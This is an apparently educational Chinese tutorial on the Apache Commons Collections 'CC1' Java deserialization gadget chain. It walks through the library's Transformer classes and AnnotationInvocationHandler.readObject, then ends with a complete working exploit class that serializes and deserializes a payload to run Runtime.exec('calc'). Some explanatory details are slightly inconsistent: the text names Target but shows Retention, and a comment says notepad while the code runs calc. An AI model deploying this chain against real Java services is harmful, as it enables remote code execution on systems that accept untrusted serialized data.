Java安全 CC链1分析

什么是CC链

Apache Commons工具包中有?个组件叫做 Apache Commons Collections ，其封装了Java 的 Collection(集合) 相关类对象，它提供了很多强有?的数据结构类型并且实现了各种集合工具类，Commons Collections被?泛应?于各种Java应?的开发，而正是因为在大量web应?程序中这些类的实现以及?法的调用，导致了反序列化漏洞的普遍性和严重性

Apache Commons Collections中有?个特殊的接口，其中有?个实现该接口的类可以通过调用 Java的反射机制来调用任意函数，叫做InvokerTransformer，它可通过反射调用类中的方法，从而通过一连串的调用而造成命令执行，这条链便叫做Commons Collections链（简称cc链）。

建议学习cc链之前先学一下Java的反射机制

环境搭建

jdk下载

我们一共需要下载两个东西

• CommonsCollections <= 3.2.1
• java 8u66 （高版本的jdk有些漏洞已被修复）

java 8u66下载地址

一些源码为class文件，idea反编译出来的文件不方便阅读，我们需要去下载openjdk的源码，并导入我们的jdk中

下载地址

在jdk 8u66安装好后，我们进入安装目录的jdk1.8.0_65文件夹，将 src.zip 解压到当前文件夹

然后将刚才下好的openjdk源码解压，并来到src\share\classes下面，将sun文件夹复制到jdk的src目录中

idea配置

我们点击左上角的项目结构

然后将jdk的src目录分别添加到类路径和源路径中

创建项目

我们构建系统选择Maven然后创建名为cc1的项目

然后在项目左侧的文件栏中选择 pom.xml 并在其中添加以下内容

用于下载commons-collections依赖

    <dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

最后右键 pom.xml,再点击 Maven选项，按图上标号顺序点击即可

生成源代码需要等待一小会，等目录中出现target文件夹时即可点击 重新加载项目

到此我们所需环境配置完成，下面开始调试分析

前置知识

Transformer接口

接口代码为

public interface Transformer {
    public Object transform(Object input);
}

该接口实现了对 对象 的转化，对传入的对象进行一些操作，然后并返回操作完的对象

该接口的重要实现有：

• ConstantTransformer
• invokerTransformer
• ChainedTransformer
• TransformedMap

这些实现的类都与CC链有关，以下是对这些实现的介绍

ConstantTransformer类

ConstantTransformer类的代码为

public class ConstantTransformer implements Transformer, Serializable {
    public static Transformer getInstance(Object constantToReturn) {
        if (constantToReturn == null) {
            return NULL_INSTANCE;
        }
        return new ConstantTransformer(constantToReturn);
    }
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return iConstant;
    }
    public Object getConstant() {
        return iConstant;
    }
}

我们着重分析下ConstantTransformer构造方法和transform方法

其ConstantTransformer构造方法接收任意类型对象，并赋值给 iConstant 变量，然后无论 transform方法接收什么 input 参数，其都会返回 iConstant 变量，也就是说假如只调用构造方法和transform方法的话，我们传入什么对象，就会原封不动地返回什么对象

invokerTransformer类

invokerTransformer类的代码为

public class InvokerTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    public static Transformer getInstance(String methodName) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        }
        return new InvokerTransformer(methodName);
    }
    public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
        if (methodName == null) {
            throw new IllegalArgumentException("The method to invoke must not be null");
        }
        if (((paramTypes == null) && (args != null))
            || ((paramTypes != null) && (args == null))
            || ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
            throw new IllegalArgumentException("The parameter types must match the arguments");
        }
        if (paramTypes == null || paramTypes.length == 0) {
            return new InvokerTransformer(methodName);
        } else {
            paramTypes = (Class[]) paramTypes.clone();
            args = (Object[]) args.clone();
            return new InvokerTransformer(methodName, paramTypes, args);
        }
    }
    private InvokerTransformer(String methodName) {
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

我们同样分析下 InvokerTransformer构造方法和transform方法

构造方法为

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

该方法接收3个参数，分别为 方法名，方法参数类型表，方法参数，在成功接收这三个参数后，便会赋值给其成员变量iMethodName，iParamTypes，iArgs

transform方法为

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

该方法首先需要接收一个名为 input 的对象参数，如果该参数不存在则返回NULL，然后通过 getClass() 方法获取该对象的class对象赋值给cls，然后又通过 getMethod() 方法，获取cls对象中指定参数类型的公共方法，最后通过 invoke() 方法对刚才获取的方法传入参数iArgs并执行，最后返回执行结果（基于反射机制实现）。

ChainedTransformer类

ChainedTransformer类代码为

public class ChainedTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;
    public static Transformer getInstance(Transformer[] transformers) {
        FunctorUtils.validate(transformers);
        if (transformers.length == 0) {
            return NOPTransformer.INSTANCE;
        }
        transformers = FunctorUtils.copy(transformers);
        return new ChainedTransformer(transformers);
    }
    public static Transformer getInstance(Collection transformers) {
        if (transformers == null) {
            throw new IllegalArgumentException("Transformer collection must not be null");
        }
        if (transformers.size() == 0) {
            return NOPTransformer.INSTANCE;
        }
        Transformer[] cmds = new Transformer[transformers.size()];
        int i = 0;
        for (Iterator it = transformers.iterator(); it.hasNext();) {
            cmds[i++] = (Transformer) it.next();
        }
        FunctorUtils.validate(cmds);
        return new ChainedTransformer(cmds);
    }
    public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
        if (transformer1 == null || transformer2 == null) {
            throw new IllegalArgumentException("Transformers must not be null");
        }
        Transformer[] transformers = new Transformer[] { transformer1, transformer2 };
        return new ChainedTransformer(transformers);
    }
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
    public Transformer[] getTransformers() {
        return iTransformers;
    }
} 

我们分析其ChainedTransformer构造方法和transform方法

首先构造方法接收一个Transformer[]接口类型的数组，并将其赋值给成员变量iTransformers

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}

然后transform方法会循环遍历该Transformer数组，执行该数组每一个成员的 transform 方法，并将执行结果作为下一次 transform 的参数，最后返回最终的执行结果

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

ChainedTransformer类可以说非常重要，是cc链的核心，它可以将整条cc链串起来，进行链式执行

构造CC链1

CC链1核心

cc链1的核心就是以下代码

Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
//通过Runtime类的getRuntime方法的exec函数进行命令执行

demo1

实现这条核心代码的便是如下transform链

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class demo1{
    public static void main(String[] args) throws Exception{
        //transformers: 一个transformer链，包含各类transformer对象（预设转化逻辑）的转化数组
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform(1);//完全的cc1需要找到哪里可调用transform方法
    }
}

该方法定义了一个Transformer接口的数组，然后将该数组传递给 ChainedTransformer 类

demo1分析

接下来我们来逐条分析一下

首先 transformerChain对象调用了transform方法（传入参数1），开始循环遍历 transformers 数组

第一次遍历：

执行

ConstantTransformer(Runtime.class).transform(1)

因为 Runtime 为单例类，不能直接实例化，所以要通过反射的方法获取

由于ConstantTransformer的transform方法不受传入参数的影响，故返回值还是 Runtime.class

第二次遍历：

将上一次的结果 Runtime.class带入本次transform，执行

InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}).transform(Runtime.class)

得到返回结果为

Runtime.class.getMethod("getRuntime")

第三次遍历：

将上一次结果Runtime.class.getMethod("getRuntime")带入本次transform，执行

InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}).transform(Runtime.class.getMethod("getRuntime"))

得到返回结果为

Runtime.class.getMethod("getRuntime").invoke(null)

第四次遍历：

将上一次结果Runtime.class.getMethod("getRuntime").invoke(null)带入本次transform，执行

InvokerTransformer("exec", new Class[]{String.class}, new Object[{"calc"}).transform(Runtime.class.getMethod("getRuntime").invoke(null))

得到最终执行结果为

Runtime.class.getMethod("getRuntime").invoke(null).exec("calc")

我们运行，可以看到成功弹出计算器

寻找如何触发CC链1核心

TransformedMap类

我们选中transform()方法，查看哪里对其进行了调用

发现TransformedMap类中的checkSetValue方法对其进行了调用，并返回

该方法定义如下

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

所以我们只需将TransformedMap类中的valueTransformer属性赋值为ChainedTransformer（上一步的核心链），然后调用它的checkSetValue方法，从而触发ChainedTransformer的transform方法，对Transformer数组进行遍历循环，即可进行代码执行

但是我们向上找到TransformedMap类的构造方法，如下

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}

发现构造发现是 protected 类型的，并不能直接new实例化，但我们发现了其 decorate 静态方法，如下

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

通过分析，我们发现我们只需调用TransformedMap类的静态方法decorate，即可得到一个可自定义属性(包括valueTransformer)的TransformedMap对象

这样我们调用checkSetValue方法时，transform方法 执行的对象赋值的问题便解决了

AbstractInputCheckedMapDecorator类

接下来我们便寻找那里调用了 checkSetValue方法，同样通过（Alt+F7），查找用法

这里只找到一处引用

在 AbstractInputCheckedMapDecorator类的setValue方法中，该方法如下

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }

也就是我们在执行setValue方法时便会触发cc链1

同时我们发现 TransformedMap类（上文含有checkSetValue和decorate方法的类）是AbstractInputCheckedMapDecorator类的子类

public class TransformedMap
        extends AbstractInputCheckedMapDecorator
……

并且AbstractInputCheckedMapDecorator类重写了Map.Entry的setValue方法，具体继承关系由下图所示

所以当我们调用由TransformedMap类装饰的Map（键值对集合），其Map.Entry（键值对）的setValue方法时，调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法，便会触发 checkSetValue方法，从而触发cc链1

我们写一个这样的例子，遍历TransformedMap类装饰的Map的Entry

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
public class demo2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");
        //创建TransformedMap类装饰的Map
        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(1);
        }
    }
}

readObject方法

然后我们再寻找哪里调用了setValue方法，同样 Alt+F7快捷键选中查找引用

我们在AnnotationInvocationHandler类的readObject方法中找到了对setValue方法的引用，好像找到了这条cc链1的反序列化起点，接下来我们具体分析下

readObject方法代码如下

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }
        Map<String, Class<?>> memberTypes = annotationType.memberTypes();
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

我们发现需要利用的核心代码主要如下

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)){
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

经分析得，我们首先需要满足两重if语句，然后才可以对该Map.Entry执行setValue方法

这里强调一下，虽然这里的setValue方法带一个初始值，但我们ConstantTransformer类的transform方法，不受参数影响，构造方法传入什么，就原封不动返回什么

第一重if

if (memberType != null)

memberType由以下关键代码获得

annotationType = AnnotationType.getInstance(type);//获取传入的class对象的成员类型信息，type是构造方法传的class对象
Map<String, Class<?>> memberTypes = annotationType.memberTypes();//获取传入的Class对象类中的成员名和类型         
String name = memberValue.getKey(); //获取Map键值对中的键名（成员名）
Class<?> memberType = memberTypes.get(name);//获取传入的Class对象中对应Map中成员名的类型

所以我们传入的class对象中要具有传入的Map中的键名成员（而且要为Annotation类的子类，下面有讲）

举个例子

假如传入Map如下
HashMap<Object,Object> hash = new HashMap<>();
hash.put("value",'b');
则我们传入的第一个参数，也就是class对象中必须有一个名为value的成员，这个成员可以是属性也可以是方法 

第二重if

if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy))

我们要让里面的两个条件都为假，及Map的键值不能为见面对应类型或其子类型的实例的实例，同时不能为ExceptionProxy 类或其子类的实例

我们再来看下AnnotationInvocationHandler类构造方法，代码如下

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

该构造方法需要接收两个参数 **Annotation类或其子类的class对象 ** 和 **Map<String, Object>**对象

我们发现构造方法和类都私有的，需要通过反射获得

然后我们找到Annotation类的子类Target类中含有一个名为 value 的方法，定义如下

//Retention.java
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
    RetentionPolicy value();
}

这样我们传入有个含有键名为 value 的Map即可大功告成

完整cc链1 exp

如下：

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Serialcc {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {

        //定义一系列Transformer对象,组成一个变换链
        Transformer[] transformers = new Transformer[]{
                //返回Runtime.class
                new ConstantTransformer(Runtime.class),
                //通过反射调用getRuntime()方法获取Runtime对象
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}),
                //通过反射调用invoke()方法
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                //通过反射调用exec()方法启动notepad
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //将多个Transformer对象组合成一个链
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hash = new HashMap<>();
        //给HashMap添加一个键值对
        hash.put("value",'b');
        //使用chainedTransformer装饰HashMap生成新的Map decorate
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);

        //通过反射获取AnnotationInvocationHandler类的构造方法
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        //设置构造方法为可访问的
        constructor.setAccessible(true);
        //通过反射调用构造方法,传入Target.class和decorate参数,创建代理对象o
        Object o = constructor.newInstance(Target.class, decorate);

        serialize(o); //定义了一个序列化的方法
        unserialize("1.bin"); //定义了一个反序列化的方法
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("1.bin")));
        out.writeObject(obj);
    }

    public static void unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
        out.readObject();
    }

}

运行成功弹出计算器